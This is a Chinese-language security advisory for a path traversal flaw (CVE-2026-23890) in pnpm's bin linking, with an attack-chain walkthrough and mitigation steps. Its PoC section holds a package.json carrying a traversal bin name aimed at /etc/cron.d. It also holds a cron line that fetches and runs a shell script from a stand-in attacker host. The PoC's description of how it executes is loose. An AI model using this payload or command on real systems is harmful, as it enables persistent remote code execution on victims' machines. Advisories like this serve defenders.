CVE-2026-23890 CVSS 6.5 中危

pnpm CVE-2026-23890 路径遍历漏洞允许覆盖系统文件

披露日期: 2026-01-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-23890

漏洞类型

路径遍历

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

pnpm

漏洞概述

pnpm是一款流行的JavaScript包管理器。在10.28.1之前的版本中，存在一个严重的路径遍历漏洞，存在于pnpm的bin链接功能中。该漏洞允许恶意的npm包在安装时创建可执行的shims或符号链接，将文件写入node_modules/.bin目录之外的位置。具体来说，以@符号开头的bin名称可以绕过验证机制，并且在作用域规范化处理后，路径遍历序列（如../../）仍然保持完整。这影响了所有使用pnpm安装npm包的用户以及使用pnpm的CI/CD流水线。攻击者可以利用此漏洞覆盖配置文件、脚本或其他敏感系统文件，可能导致远程代码执行或权限提升。

技术细节

该漏洞的根本原因在于pnpm在处理bin链接时对以@开头的特殊作用域名称验证不充分。当npm包的package.json中定义了类似@malicious/../../../../etc/cron.d/malicious的bin名称时，pnpm在作用域规范化过程中保留了路径遍历序列。攻击者可以构造一个恶意的npm包，在其bin字段中指定带有路径遍历载荷的可执行文件路径。当用户安装该包时，pnpm会创建指向攻击者控制文件的符号链接或shims脚本。由于pnpm在链接创建时未正确验证最终路径是否位于node_modules/.bin目录内，攻击者可以将任意可执行文件写入系统的任意位置，如/etc/cron.d、~/.ssh/authorized_keys或其他敏感目录，从而实现持久化访问或远程代码执行。

攻击链分析

STEP 1

攻击者创建恶意npm包，在package.json的bin字段中构造带路径遍历序列的bin名称，如@scope/../../../../etc/cron.d/malicious

STEP 2

攻击者将恶意包发布到npm仓库或通过其他渠道分发

STEP 3

受害者使用pnpm安装该恶意包，pnpm在处理bin链接时未正确验证路径遍历序列

STEP 4

pnpm在node_modules/.bin目录外创建符号链接或shims，将恶意脚本写入目标路径（如/etc/cron.d）

STEP 5

攻击者通过被覆写的文件实现持久化访问、远程代码执行或权限提升

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "description": "PoC for CVE-2026-23890 path traversal in pnpm bin linking",
  "bin": {
    "@scope/../../../../etc/cron.d/malicious": "./scripts/malicious.sh"
  },
  "scripts": {
    "preinstall": "echo 'Malicious package installed'"
  }
}

# The malicious.sh script content:
#!/bin/bash
# This script would be executed when the bin link is created
# It can write arbitrary content to the path traversal target
echo '* * * * * root /bin/bash -c \"curl http://attacker.com/shell.sh | bash\"' > ../../../../etc/cron.d/malicious

影响范围

pnpm < 10.28.1

防御指南

临时缓解措施

如果无法立即升级pnpm版本，建议采取以下临时缓解措施：1) 审查所有已安装包的package.json文件，查找异常的bin配置；2) 使用--ignore-scripts选项安装不受信任的包；3) 限制pnpm安装来源，仅允许从可信的私有仓库安装；4) 监控node_modules目录外的文件变更；5) 考虑使用容器化环境隔离包安装过程。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表